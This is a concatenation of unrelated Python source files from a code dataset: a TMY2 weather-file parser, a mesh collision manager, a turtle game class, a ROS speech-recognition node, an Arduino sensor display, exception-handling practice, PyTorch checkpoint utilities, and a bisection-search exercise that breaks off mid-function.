[1], Table 3-3\n DNillumUncertainty See [1], Table 3-4\n DHillum Avg. horizontal diffuse illuminance recv'd during the 60 minutes prior to timestamp, units of 100 lux\n DHillumSource See [1], Table 3-3\n DHillumUncertainty See [1], Table 3-4\n Zenithlum Avg. luminance at the sky's zenith during the 60 minutes prior to timestamp, units of 10 Cd/m^2 (e.g. value of 700 = 7,000 Cd/m^2)\n ZenithlumSource See [1], Table 3-3\n ZenithlumUncertainty See [1], Table 3-4\n TotCld Amount of sky dome covered by clouds or obscuring phenonema at time stamp, tenths of sky\n TotCldSource See [1], Table 3-5, 8760x1 cell array of strings\n TotCldUnertainty See [1], Table 3-6\n OpqCld Amount of sky dome covered by clouds or obscuring phenonema that prevent observing the sky at time stamp, tenths of sky\n OpqCldSource See [1], Table 3-5, 8760x1 cell array of strings\n OpqCldUncertainty See [1], Table 3-6\n DryBulb Dry bulb temperature at the time indicated, in tenths of degree C (e.g. 352 = 35.2 C).\n DryBulbSource See [1], Table 3-5, 8760x1 cell array of strings\n DryBulbUncertainty See [1], Table 3-6\n DewPoint Dew-point temperature at the time indicated, in tenths of degree C (e.g. 76 = 7.6 C).\n DewPointSource See [1], Table 3-5, 8760x1 cell array of strings\n DewPointUncertainty See [1], Table 3-6\n RHum Relative humidity at the time indicated, percent\n RHumSource See [1], Table 3-5, 8760x1 cell array of strings\n RHumUncertainty See [1], Table 3-6\n Pressure Station pressure at the time indicated, 1 mbar\n PressureSource See [1], Table 3-5, 8760x1 cell array of strings\n PressureUncertainty See [1], Table 3-6\n Wdir Wind direction at time indicated, degrees from east of north (360 = 0 = north; 90 = East; 0 = undefined,calm) \n WdirSource See [1], Table 3-5, 8760x1 cell array of strings\n WdirUncertainty See [1], Table 3-6\n Wspd Wind speed at the time indicated, in tenths of meters/second (e.g. 212 = 21.2 m/s)\n WspdSource See [1], Table 3-5, 8760x1 cell array of strings\n WspdUncertainty See [1], Table 3-6\n Hvis Distance to discernable remote objects at time indicated (7777=unlimited, 9999=missing data), in tenths of kilometers (e.g. 341 = 34.1 km).\n HvisSource See [1], Table 3-5, 8760x1 cell array of strings\n HvisUncertainty See [1], Table 3-6\n CeilHgt Height of cloud base above local terrain (7777=unlimited, 88888=cirroform, 99999=missing data), in meters\n CeilHgtSource See [1], Table 3-5, 8760x1 cell array of strings\n CeilHgtUncertainty See [1], Table 3-6\n Pwat Total precipitable water contained in a column of unit cross section from Earth to top of atmosphere, in millimeters\n PwatSource See [1], Table 3-5, 8760x1 cell array of strings\n PwatUncertainty See [1], Table 3-6\n AOD The broadband aerosol optical depth (broadband turbidity) in thousandths on the day indicated (e.g. 114 = 0.114)\n AODSource See [1], Table 3-5, 8760x1 cell array of strings\n AODUncertainty See [1], Table 3-6\n SnowDepth Snow depth in centimeters on the day indicated, (999 = missing data).\n SnowDepthSource See [1], Table 3-5, 8760x1 cell array of strings\n SnowDepthUncertainty See [1], Table 3-6\n LastSnowfall Number of days since last snowfall (maximum value of 88, where 88 = 88 or greater days; 99 = missing data)\n LastSnowfallSource See [1], Table 3-5, 8760x1 cell array of strings\n LastSnowfallUncertainty See [1], Table 3-6\n PresentWeather See [1], Appendix B, an 8760x1 cell array of strings. Each string contains 10 numeric values. The string can be parsed to determine each of 10 observed weather metrics.\n ============================ ==========================================================================================================================================================================\n\n References\n ----------\n\n [1] Marion, W and Urban, K. \"Wilcox, S and Marion, W. \"User's Manual\n for TMY2s\". NREL 1995.\n\n See also\n --------\n\n pvl_makelocationstruct \n pvl_maketimestruct \n pvl_readtmy3\n\n '''\n \n if filename is None: \t\t\t\t\t#If no filename is input\n try:\n filename = interactive_load()\n except:\n raise Exception('Interactive load failed. Tkinter not supported on this system. Try installing X-Quartz and reloading')\n\n string='%2d%2d%2d%2d%4d%4d%4d%1s%1d%4d%1s%1d%4d%1s%1d%4d%1s%1d%4d%1s%1d%4d%1s%1d%4d%1s%1d%2d%1s%1d%2d%1s%1d%4d%1s%1d%4d%1s%1d%3d%1s%1d%4d%1s%1d%3d%1s%1d%3d%1s%1d%4d%1s%1d%5d%1s%1d%10d%3d%1s%1d%3d%1s%1d%3d%1s%1d%2d%1s%1d'\n columns='year,month,day,hour,ETR,ETRN,GHI,GHISource,GHIUncertainty,DNI,DNISource,DNIUncertainty,DHI,DHISource,DHIUncertainty,GHillum,GHillumSource,GHillumUncertainty,DNillum,DNillumSource,DNillumUncertainty,DHillum,DHillumSource,DHillumUncertainty,Zenithlum,ZenithlumSource,ZenithlumUncertainty,TotCld,TotCldSource,TotCldUnertainty,OpqCld,OpqCldSource,OpqCldUncertainty,DryBulb,DryBulbSource,DryBulbUncertainty,DewPoint,DewPointSource,DewPointUncertainty,RHum,RHumSource,RHumUncertainty,Pressure,PressureSource,PressureUncertainty,Wdir,WdirSource,WdirUncertainty,Wspd,WspdSource,WspdUncertainty,Hvis,HvisSource,HvisUncertainty,CeilHgt,CeilHgtSource,CeilHgtUncertainty,PresentWeather,Pwat,PwatSource,PwatUncertainty,AOD,AODSource,AODUncertainty,SnowDepth,SnowDepthSource,SnowDepthUncertainty,LastSnowfall,LastSnowfallSource,LastSnowfallUncertaint'\n hdr_columns='WBAN,City,State,TZ,latitude,longitude,altitude'\n\n TMY2, TMY2_meta = readTMY(string, columns, hdr_columns, filename)\t\n\n return TMY2, TMY2_meta\n\n\n\ndef parsemeta(columns,line):\n \"\"\"Retrieves metadata from the top line of the tmy2 file.\n\n Parameters\n ----------\n\n Columns : string\n String of column headings in the header\n\n line : string\n Header string containing DataFrame\n\n Returns\n -------\n\n meta : Dict of metadata contained in the header string\n\n \"\"\"\n rawmeta=\" \".join(line.split()).split(\" \") #Remove sduplicated spaces, and read in each element\n meta=rawmeta[:3] #take the first string entries\n meta.append(int(rawmeta[3]))\n longitude=(float(rawmeta[5])+float(rawmeta[6])/60)*(2*(rawmeta[4]=='N')-1)#Convert to decimal notation with S negative\n latitude=(float(rawmeta[8])+float(rawmeta[9])/60)*(2*(rawmeta[7]=='E')-1) #Convert to decimal notation with W negative\n meta.append(longitude)\n meta.append(latitude)\n meta.append(float(rawmeta[10]))\t\n \n meta_dict = dict(zip(columns.split(','),meta)) #Creates a dictionary of metadata\n pvl_logger.debug('meta: {}'.format(meta_dict))\n \n return meta_dict\n\n\n\ndef readTMY(string, columns, hdr_columns, fname):\n head=1\n date=[]\n with open(fname) as infile:\n fline=0\n for line in infile:\n #Skip the header\n if head!=0:\n meta=parsemeta(hdr_columns,line)\n head-=1\n continue\n #Reset the cursor and array for each line \n cursor=1\n part=[]\n for marker in string.split('%'):\n #Skip the first line of markers\n if marker=='':\n continue\n \n #Read the next increment from the marker list \n increment=int(re.findall('\\d+',marker)[0])\n\n #Extract the value from the line in the file\n val=(line[cursor:cursor+increment])\n #increment the cursor by the length of the read value\n cursor=cursor+increment\n \n\n # Determine the datatype from the marker string\n if marker[-1]=='d':\n try:\n val=float(val)\n except:\n raise Exception('WARNING: In'+__name__+' Read value is not an integer\" '+val+' \" ')\n elif marker[-1]=='s':\n try:\n val=str(val)\n except:\n raise Exception('WARNING: In'+__name__+' Read value is not a string\" '+val+' \" ')\n else: \n raise Exception('WARNING: In'+__name__+'Improper column DataFrameure \" %'+marker+' \" ')\n \n part.append(val)\n \n if fline==0:\n axes=[part]\n year=part[0]+1900\n fline=1\n else:\n axes.append(part)\n \n #Create datetime objects from read data\n date.append(datetime.datetime(year=int(year),month=int(part[1]),day=int(part[2]),hour=int(part[3])-1))\n\n TMYData = pd.DataFrame(axes, index=date, columns=columns.split(',')).tz_localize(int(meta['TZ']*3600))\n\n return TMYData, meta\n \n\n","sub_path":"pvlib/tmy.py","file_name":"tmy.py","file_ext":"py","file_size_in_byte":26630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"628097612","text":"import numpy as np\n\nfrom .constants import tol, log\n\n_fcl_exists = True\ntry:\n import fcl # pip install python-fcl\nexcept:\n log.warning('No FCL -- collision checking will not work')\n _fcl_exists = False\n\n\nclass CollisionManager(object):\n '''\n A mesh-mesh collision manager.\n '''\n\n def __init__(self):\n '''\n Initialize a mesh-mesh collision manager.\n '''\n if not _fcl_exists:\n raise ValueError('No FCL Available!')\n self._objs = {}\n self._manager = fcl.DynamicAABBTreeCollisionManager()\n self._manager.setup()\n\n def add_object(self, name, mesh, transform=None):\n '''\n Add an object to the collision manager.\n If an object with the given name is already in the manager, replace it.\n\n Parameters\n ----------\n name: str, an identifier for the object\n mesh: Trimesh object, the geometry of the collision object\n transform: (4,4) float, homogenous transform matrix for the object\n '''\n if transform is None:\n transform = np.eye(4)\n\n # Create FCL data\n b = fcl.BVHModel()\n b.beginModel(len(mesh.vertices), len(mesh.faces))\n b.addSubModel(mesh.vertices, mesh.faces)\n b.endModel()\n t = fcl.Transform(transform[:3, :3], transform[:3, 3])\n o = fcl.CollisionObject(b, t)\n\n # Add collision object to set\n if name in self._objs:\n self._manager.unregisterObject(self._objs[name])\n self._objs[name] = {\n 'obj': o,\n 'geom': b\n }\n self._manager.registerObject(o)\n self._manager.update()\n\n def remove_object(self, name):\n '''\n Delete an object from the collision manager.\n\n Parameters\n ----------\n name: str, the identifier for the object\n '''\n if name in self._objs:\n self._manager.unregisterObject(self._objs[name]['obj'])\n self._manager.update(self._objs[name]['obj'])\n del self._objs[name]\n else:\n raise ValueError('{} not in collision manager!'.format(name))\n\n def set_transform(self, name, transform):\n '''\n Set the transform for one of the manager's objects. This replaces the prior transform.\n\n Parameters\n ----------\n name: str, an identifier for the object already in the manager\n transform: (4,4) float, a new homogenous transform matrix for the object\n '''\n if name in self._objs:\n o = self._objs[name]['obj']\n o.setRotation(transform[:3, :3])\n o.setTranslation(transform[:3, 3])\n self._manager.update(o)\n else:\n raise ValueError('{} not in collision manager!'.format(name))\n\n def in_collision_single(self, mesh, transform=None, return_names=False):\n '''\n Check a single object for collisions against all objects in the manager.\n\n Parameters\n ----------\n mesh: Trimesh object, the geometry of the collision object\n transform: (4,4) float, homogenous transform matrix for the object\n return_names : bool, If true, a set is returned containing the names\n of all objects in collision with the provided object\n\n Returns\n -------\n is_collision: bool, True if a collision occurs and False otherwise\n names: set of str, The set of names of objects that collided with the provided one\n '''\n if transform is None:\n transform = np.eye(4)\n\n # Create FCL data\n b = fcl.BVHModel()\n b.beginModel(len(mesh.vertices), len(mesh.faces))\n b.addSubModel(mesh.vertices, mesh.faces)\n b.endModel()\n t = fcl.Transform(transform[:3, :3], transform[:3, 3])\n o = fcl.CollisionObject(b, t)\n\n # Collide with manager's objects\n cdata = fcl.CollisionData()\n if return_names:\n cdata = fcl.CollisionData(request=fcl.CollisionRequest(num_max_contacts=100000,\n enable_contact=True))\n\n self._manager.collide(o, cdata, fcl.defaultCollisionCallback)\n\n result = cdata.result.is_collision\n\n # If we want to return the objects that were collision, collect them.\n if return_names:\n objs_in_collision = set()\n for contact in cdata.result.contacts:\n cg = contact.o1\n if cg == b:\n cg = contact.o2\n name = self._extract_name(cg)\n objs_in_collision.add(name)\n return result, objs_in_collision\n else:\n return result\n\n def in_collision_internal(self, return_names=False):\n '''\n Check if any pair of objects in the manager collide with one another.\n\n Parameters\n ----------\n return_names : bool\n If true, a set is returned containing the names\n of all pairs of objects in collision.\n\n Returns\n -------\n is_collision: bool, True if a collision occured between any pair of objects\n and False otherwise\n names: set of 2-tup, The set of pairwise collisions. Each tuple\n contains two names in alphabetical order indicating\n that the two correspoinding objects are in collision.\n '''\n cdata = fcl.CollisionData()\n if return_names:\n cdata = fcl.CollisionData(request=fcl.CollisionRequest(\n num_max_contacts=100000, enable_contact=True))\n\n self._manager.collide(cdata, fcl.defaultCollisionCallback)\n\n result = cdata.result.is_collision\n\n if return_names:\n objs_in_collision = set()\n for contact in cdata.result.contacts:\n name1, name2 = self._extract_name(\n contact.o1), self._extract_name(contact.o2)\n names = tuple(sorted((name1, name2)))\n objs_in_collision.add(names)\n return result, objs_in_collision\n else:\n return result\n\n def in_collision_other(self, other_manager, return_names=False):\n '''\n Check if any object from this manager collides with any object from another manager.\n\n Parameters\n ----------\n other_manager: CollisionManager, another collision manager object\n return_names: bool, If true, a set is returned containing the names\n of all pairs of objects in collision.\n\n Returns\n -------\n is_collision: bool, True if a collision occured between any pair of objects\n and False otherwise\n names: set of 2-tup, The set of pairwise collisions. Each tuple\n contains two names (first from this manager,\n second from the other_manager) indicating\n that the two correspoinding objects are in collision.\n '''\n cdata = fcl.CollisionData()\n if return_names:\n cdata = fcl.CollisionData(request=fcl.CollisionRequest(num_max_contacts=100000,\n enable_contact=True))\n self._manager.collide(other_manager._manager,\n cdata,\n fcl.defaultCollisionCallback)\n result = cdata.result.is_collision\n\n if return_names:\n objs_in_collision = set()\n for contact in cdata.result.contacts:\n name1, name2 = self._extract_name(\n contact.o1), other_manager._extract_name(contact.o2)\n if name1 is None:\n name1, name2 = self._extract_name(\n contact.o2), other_manager._extract_name(contact.o1)\n objs_in_collision.add((name1, name2))\n return result, objs_in_collision\n else:\n return result\n\n def _extract_name(self, geom):\n '''\n Retrieve the name of an object from the manager by its collision geometry,\n or return None if not found.\n '''\n for obj_name in self._objs:\n if self._objs[obj_name]['geom'] == geom:\n return obj_name\n return None\n","sub_path":"trimesh/collision.py","file_name":"collision.py","file_ext":"py","file_size_in_byte":8456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"367414053","text":"from turtle import Turtle\nimport random\n\nfood_colors = [\"red\",\"blue\",\"green\",\"purple\",\"yellow\",\"orange\"]\n\nclass Food(Turtle):\n\n def __init__(self):\n super().__init__()\n self.shape(\"circle\")\n self.penup()\n self.shapesize(stretch_len=0.5, stretch_wid=0.5)\n self.speed(\"fastest\")\n self.refresh_food()\n\n def refresh_food(self):\n self.color(random.choice(food_colors))\n random_x = random.randint(-270,270)\n random_y = random.randint(-270,270)\n self.goto(random_x,random_y)\n","sub_path":"Day 020-021/food.py","file_name":"food.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"312970086","text":"#!/usr/bin/env python\n\"\"\"\nHae Won Park\nApril 2019\n\nThe MIT License (MIT)\n\nCopyright (c) 2019 Personal Robots Group\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of\nthis software and associated documentation files (the \"Software\"), to deal in\nthe Software without restriction, including without limitation the rights to\nuse, copy, modify, merge, publish, distribute, sublicense, and/or sell copies\nof the Software, and to permit persons to whom the Software is furnished to do\nso, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n\nGoogle Cloud Speech API sample application using the streaming API.\n\nNOTE: This module requires the additional dependency `pyaudio`. To install\nusing pip:\n\n pip install pyaudio\n\nExample usage:\n python transcribe_streaming_indefinite.py\n\"\"\"\n\n# [START speech_transcribe_infinite_streaming]\nfrom __future__ import division\n\nimport time\nimport re\nimport sys\n\nfrom google.cloud import speech\n\nimport pyaudio\nfrom six.moves import queue\n\n# ROS setup\nimport rospy # Get audio data over ROS and publish results.\nfrom std_msgs.msg import Header\nfrom asr_google_cloud.msg import AsrResult\nfrom asr_google_cloud.msg import AsrCommand\nfrom asr_google_cloud.msg import Words\n\n# Audio recording parameters\nSTREAMING_LIMIT = 55000\nSAMPLE_RATE = 16000\nCHUNK_SIZE = int(SAMPLE_RATE / 10) # 100ms\n\n\ndef get_current_time():\n return int(round(time.time() * 1000))\n\n\ndef duration_to_secs(duration):\n return duration.seconds + (duration.nanos / float(1e9))\n\n\nclass ResumableMicrophoneStream:\n \"\"\"Opens a recording stream as a generator yielding the audio chunks.\"\"\"\n def __init__(self, rate, chunk_size):\n self._rate = rate\n self._chunk_size = chunk_size\n self._num_channels = 1\n self._max_replay_secs = 5\n\n # Create a thread-safe buffer of audio data\n self._buff = queue.Queue()\n self.closed = True\n self.start_time = get_current_time()\n\n # 2 bytes in 16 bit samples\n self._bytes_per_sample = 2 * self._num_channels\n self._bytes_per_second = self._rate * self._bytes_per_sample\n\n self._bytes_per_chunk = (self._chunk_size * self._bytes_per_sample)\n self._chunks_per_second = (\n self._bytes_per_second // self._bytes_per_chunk)\n\n def __enter__(self):\n self.closed = False\n\n self._audio_interface = pyaudio.PyAudio()\n self._audio_stream = self._audio_interface.open(\n format=pyaudio.paInt16,\n channels=self._num_channels,\n rate=self._rate,\n input=True,\n frames_per_buffer=self._chunk_size,\n # Run the audio stream asynchronously to fill the buffer object.\n # This is necessary so that the input device's buffer doesn't\n # overflow while the calling thread makes network requests, etc.\n stream_callback=self._fill_buffer,\n )\n\n return self\n\n def __exit__(self, type, value, traceback):\n self._audio_stream.stop_stream()\n self._audio_stream.close()\n self.closed = True\n # Signal the generator to terminate so that the client's\n # streaming_recognize method will not block the process termination.\n self._buff.put(None)\n self._audio_interface.terminate()\n\n def _fill_buffer(self, in_data, *args, **kwargs):\n \"\"\"Continuously collect data from the audio stream, into the buffer.\"\"\"\n self._buff.put(in_data)\n return None, pyaudio.paContinue\n\n def generator(self):\n while not self.closed:\n if get_current_time() - self.start_time > STREAMING_LIMIT:\n self.start_time = get_current_time()\n break\n # Use a blocking get() to ensure there's at least one chunk of\n # data, and stop iteration if the chunk is None, indicating the\n # end of the audio stream.\n chunk = self._buff.get()\n if chunk is None:\n return\n data = [chunk]\n\n # Now consume whatever other data's still buffered.\n while True:\n try:\n chunk = self._buff.get(block=False)\n if chunk is None:\n return\n data.append(chunk)\n except queue.Empty:\n break\n\n if not send_data:\n return\n\n yield b''.join(data)\n\n\ndef listen_print_loop(responses, stream):\n \"\"\"Iterates through server responses and prints them.\n\n The responses passed is a generator that will block until a response\n is provided by the server.\n\n Each response may contain multiple results, and each result may contain\n multiple alternatives; for details, see https://goo.gl/tjCPAU. Here we\n print only the transcription for the top alternative of the top result.\n\n In this case, responses are provided for interim results as well. If the\n response is an interim one, print a line feed at the end of it, to allow\n the next result to overwrite it, until the response is a final one. For the\n final one, print a newline to preserve the finalized transcription.\n \"\"\"\n responses = (r for r in responses if (\n r.results and r.results[0].alternatives))\n\n num_chars_printed = 0\n for response in responses:\n if not response.results:\n continue\n\n # Send results over ROS.\n msg = AsrResult()\n msg.header = Header()\n msg.header.stamp = rospy.Time.now()\n\n # The `results` list is consecutive. For streaming, we only care about\n # the first result being considered, since once it's `is_final`, it\n # moves on to considering the next utterance.\n result = response.results[0]\n if not result.alternatives:\n continue\n\n # Display the transcription of the top alternative.\n top_alternative = result.alternatives[0]\n transcript = top_alternative.transcript\n\n # Display interim results, but with a carriage return at the end of the\n # line, so subsequent lines will overwrite them.\n #\n # If the previous result was longer than this one, we need to print\n # some extra spaces to overwrite the previous result\n overwrite_chars = ' ' * (num_chars_printed - len(transcript))\n\n if not result.is_final:\n sys.stdout.write(transcript + overwrite_chars + '\\r')\n sys.stdout.flush()\n\n num_chars_printed = len(transcript)\n else:\n print(transcript + overwrite_chars)\n\n # print(\"Got final result:\\n{}\".format(response))\n # TODO publish alternatives\n if publish_alternatives:\n print(\"TODO publish alternatives\")\n msg.transcription = str(response.results[0].alternatives[0].\n transcript)\n msg.confidence = response.results[0].alternatives[0].confidence\n\n for i in xrange(len(response.results[0].alternatives[0].words)):\n w = Words()\n w.word = response.results[0].alternatives[0].words[i].word\n w.start_time = response.results[0].alternatives[0].words[i].start_time.seconds + \\\n float(response.results[0].alternatives[0].words[i].start_time.nanos) * 1e-9\n w.end_time = response.results[0].alternatives[0].words[i].end_time.seconds + \\\n float(response.results[0].alternatives[0].words[i].end_time.nanos) * 1e-9\n\n msg.words_list.append(w)\n\n pub_asr_result.publish(msg)\n print(\"*** SENT RESULT ***\")\n\n # Exit recognition if any of the transcribed phrases could be\n # one of our keywords.\n # if re.search(r'\\b(exit|quit)\\b', transcript, re.I):\n # print('Exiting..')\n # stream.closed = True\n # break\n\n num_chars_printed = 0\n\ndef on_asr_command(data):\n \"\"\" Receive and process a command message telling this node to start or\n stop streaming audio to Google.\n \"\"\"\n print(\"Received ASR command: {}\".format(data.command))\n print(\"ASR COMMAND RECEIVED **********************\")\n global publish_final, publish_interim, publish_alternatives, send_data\n # Should we stop streaming data to Google for processing or stop sending\n # any kind of results back? If no results streaming is enabled, we won't\n # send anything to Google.\n if (data.command == AsrCommand.STOP_ALL or\n data.command == AsrCommand.STOP_FINAL):\n # Stop streaming final results.\n publish_final = False\n if (data.command == AsrCommand.STOP_ALL or\n data.command == AsrCommand.STOP_ALTERNATIVES):\n # Stop streaming alternative results.\n publish_alternatives = False\n if (data.command == AsrCommand.STOP_ALL or\n data.command == AsrCommand.STOP_INTERIM):\n # Stop streaming interim results.\n publish_interim = False\n\n # Or should we start streaming data to Google for processing or start\n # sending a particular kind of results?\n if (data.command == AsrCommand.START_ALL or\n data.command == AsrCommand.START_FINAL):\n # Start streaming final results.\n publish_final = True\n if (data.command == AsrCommand.START_ALL or\n data.command == AsrCommand.START_ALTERNATIVES):\n # Start streaming alternative results.\n publish_alternatives = True\n if (data.command == AsrCommand.START_ALL or\n data.command == AsrCommand.START_INTERIM):\n # Start streaming interim results.\n publish_interim = True\n\n # If we should now be publishing results, start ASR.\n if publish_final or publish_alternatives or publish_interim:\n send_data = True\n else:\n send_data = False\n\ndef main():\n\n rospy.init_node('google_asr_node', anonymous=False)\n\n # Publish ASR results as asr_google_cloud/AsrResult messages.\n global pub_asr_result\n pub_asr_result = rospy.Publisher('asr_result', AsrResult, queue_size=10)\n\n # Subscribe to basic commands to tell this node to start or stop processing\n # audio and streaming to Google, as well as what results to publish.\n global sub_asr_command\n sub_asr_command = rospy.Subscriber('asr_command', AsrCommand, on_asr_command)\n\n global publish_interim\n publish_interim = False\n global publish_alternatives\n publish_alternatives = False\n global publish_final\n publish_final = True\n global send_data\n send_data = True\n\n client = speech.SpeechClient()\n config = speech.types.RecognitionConfig(\n encoding=speech.enums.RecognitionConfig.AudioEncoding.LINEAR16,\n sample_rate_hertz=SAMPLE_RATE,\n language_code='en-US',\n max_alternatives=1,\n enable_word_time_offsets=True)\n streaming_config = speech.types.StreamingRecognitionConfig(\n config=config,\n interim_results=True)\n\n mic_manager = ResumableMicrophoneStream(SAMPLE_RATE, CHUNK_SIZE)\n\n #print('Say \"Quit\" or \"Exit\" to terminate the program.')\n\n with mic_manager as stream:\n while not stream.closed:\n audio_generator = stream.generator()\n requests = (speech.types.StreamingRecognizeRequest(\n audio_content=content)\n for content in audio_generator)\n\n responses = client.streaming_recognize(streaming_config,\n requests)\n # Now, put the transcription responses to use.\n listen_print_loop(responses, stream)\n\n\nif __name__ == '__main__':\n main()\n# [END speech_transcribe_infinite_streaming]\n","sub_path":"src/local_mic_asr.py","file_name":"local_mic_asr.py","file_ext":"py","file_size_in_byte":12327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"333334768","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n# vim:fenc=utf-8\n#\n# Copyright © 2015 cameron \n#\n# Distributed under terms of the MIT license.\n\n\"\"\"\nThis module starts to integrate the analog read of a sensor into PySide\n\"\"\"\n\nfrom PySide import QtGui, QtCore\nfrom pyfirmata import ArduinoMega, util\nimport time\n\nsensor_app = QtGui.QApplication([])\nport = \"/dev/ttyACM0\"\nboard = ArduinoMega(port)\nsensor = board.get_pin('a:0:i')\niterator = util.Iterator(board)\niterator.start()\ntime.sleep(1)\n\n\ndef get_value():\n read_val = sensor.read()\n corrected_val = 1 - read_val\n lcd.display(corrected_val)\n\nlcd = QtGui.QLCDNumber()\nlcd.setDigitCount(8)\n\ntimer = QtCore.QTimer()\ntimer.timeout.connect(get_value)\ntimer.start(100)\n\nlcd.show()\n\nsensor_app.exec_()\n","sub_path":"Firmata/MoistureSensor/basicApp.py","file_name":"basicApp.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"272239950","text":"import numpy as np\nimport math, os, torch, sys\n# from skimage.filters.rank import entropy\n# from skimage.morphology import disk\nimport importlib\n\n\ndef checkdirctexist(dirct):\n if not os.path.exists(dirct):\n os.makedirs(dirct)\n\n\ndef PSNR_self(pred, gt, shave_border=0):\n height, width = pred.shape[:2]\n pred = pred[shave_border:height - shave_border, shave_border:width - shave_border]\n gt = gt[shave_border:height - shave_border, shave_border:width - shave_border]\n imdff = (pred -gt)\n rmse = math.sqrt(np.mean(imdff.cpu().data[0].numpy() ** 2))\n if rmse == 0:\n return 100\n return 20.0 * math.log10(1.0/rmse)\n\n\n# def save_checkpoint(model, epoch, save_path):\n# model_out_path = os.path.join(save_path, \"model_epoch_{}.pth\".format(epoch))\n# state = {\"epoch\": epoch, \"model\": model}\n# # check path status\n# if not os.path.exists(\"model/\"):\n# os.makedirs(\"model/\")\n# # save model\n# torch.save(state, model_out_path)\n# print(\"Checkpoint saved to {}\".format(model_out_path))\n\n\ndef save_checkpoint(model, epoch, opt, save_path):\n model_out_path = os.path.join(save_path, \"model_epoch_{}.pth\".format(epoch))\n if opt.cuda:\n model_file = model.module.__class__.__module__\n model_class = model.module.__class__.__name__\n model_state = model.module.state_dict()\n else:\n model_file = model.__class__.__module__\n model_class = model.__class__.__name__\n model_state = model.state_dict()\n\n state = {\"epoch\": epoch,\n \"model_state\": model_state,\n \"opt\": opt,\n \"args\": sys.argv,\n \"model_file\": model_file,\n \"model_class\": model_class}\n\n # check path status\n if not os.path.exists(\"model/\"):\n os.makedirs(\"model/\")\n\n # save model\n torch.save(state, model_out_path)\n print(\"Checkpoint saved to {}\".format(model_out_path))\n\n\ndef load_checkpoint(path, **extra_params):\n if 'iscuda' in extra_params:\n iscuda = extra_params.pop('iscuda')\n else:\n iscuda = True\n if iscuda:\n dict = torch.load(path, map_location='cuda')\n else:\n dict = torch.load(path, map_location='cpu')\n print(dict[\"model_file\"])\n print(dict[\"model_class\"])\n md = importlib.import_module(dict[\"model_file\"])\n if extra_params:\n model = eval(\"md.{}\".format(dict[\"model_class\"]))(**extra_params)\n else:\n model = eval(\"md.{}\".format(dict[\"model_class\"]))()\n model.load_state_dict(dict[\"model_state\"])\n return model, dict[\"epoch\"], dict\n","sub_path":"Network/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"162345249","text":"from block import *\nfrom logging import ERROR, WARN, INFO, DEBUG\nimport time\n\nclass simple_query(Block):\n def on_load(self, config):\n self.add_port(\"input\", Port.QUERY, Port.UNNAMED, [\"value\"])\n self.log(INFO, \"Simple-query block loaded\")\n self.t = 0\n\n def recv_query(self, port, log):\n self.log(INFO, \"got query \" + str(log.log))\n self.log(INFO, self.id + \" got query for values \" + str(log.log[\"value\"]))\n ret_log = Log()\n ret_log.log[\"result\"] = [number + 1 for number in log.log[\"value\"]]\n if self.t == 0:\n self.t = (log.log[\"value\"][0] + 1) * 2\n self.log(INFO, \"sleeping for: %d\" % self.t)\n time.sleep(self.t)\n self.return_query_res(port, ret_log)","sub_path":"blox/simple_query__1_0/b_simple_query.py","file_name":"b_simple_query.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"235098987","text":"def get_input():\n try:\n a=int(input(\"Enter a value\"))\n b=a-int(input(\"enter the value\"))\n return a,b\n except ValueError as e:\n print(e)\n return get_input()\n finally:\n print(\"finally of get_input\")\n\ndef div(a,b):\n try:\n c=a/b\n return c\n except ZeroDivisionError as e:\n print(e)\n finally:\n print(\"finally of div\")\n\ndef main():\n try:\n a,b=get_input()\n c=div(a,b)\n print(c)\n except ZeroDivisionError as e:\n print(e)\n main()\n except Exception as e:\n print(e)\n main()\n finally:\n print(\"process completed\")\nif __name__==\"__main__\":\n main()","sub_path":"Pythonprograms/Exceptions.py","file_name":"Exceptions.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"443521508","text":"# Exercise 10.11. To check whether a word is in the word list, you could use the in operator, but it \r\n# would be slow because it searches through the words in order.Because the words are in alphabetical order, \r\n# we can speed things up with a bisection search(also known as binary search), which is similar to what you do when you look a word up in the dictionary.\r\n# You start in the middle and check to see whether the word you are looking for comes before the word\r\n# in the middle of the list. If so, then you search the first half of the list the same way. Otherwise you\r\n# search the second half. Either way, you cut the remaining search space in half. If the word list has 113,809 words, it will\r\n# take about 17 steps to find the word or conclude that it’s not there.\r\n# Write a function called bisect that takes a sorted list and a target value and returns the index of\r\n# the value in the list, if it’s there, or None if it’s not.\r\n# Or you could read the documentation of the bisect module and use that!Solution:http://thinkpython.com/code/inlist.py .\r\n\r\ndef build_list(fil):\r\n ''' \r\n Takes a file containing a sorted list of words one per line\r\n and returns a list.\r\n '''\r\n words = []\r\n fin = open(fil)\r\n for line in fin:\r\n word = line.strip()\r\n words.append(word)\r\n return words\r\n\r\ndef bisect(t, target):\r\n '''Searches a sorted list of words using binary search'''\r\n min = 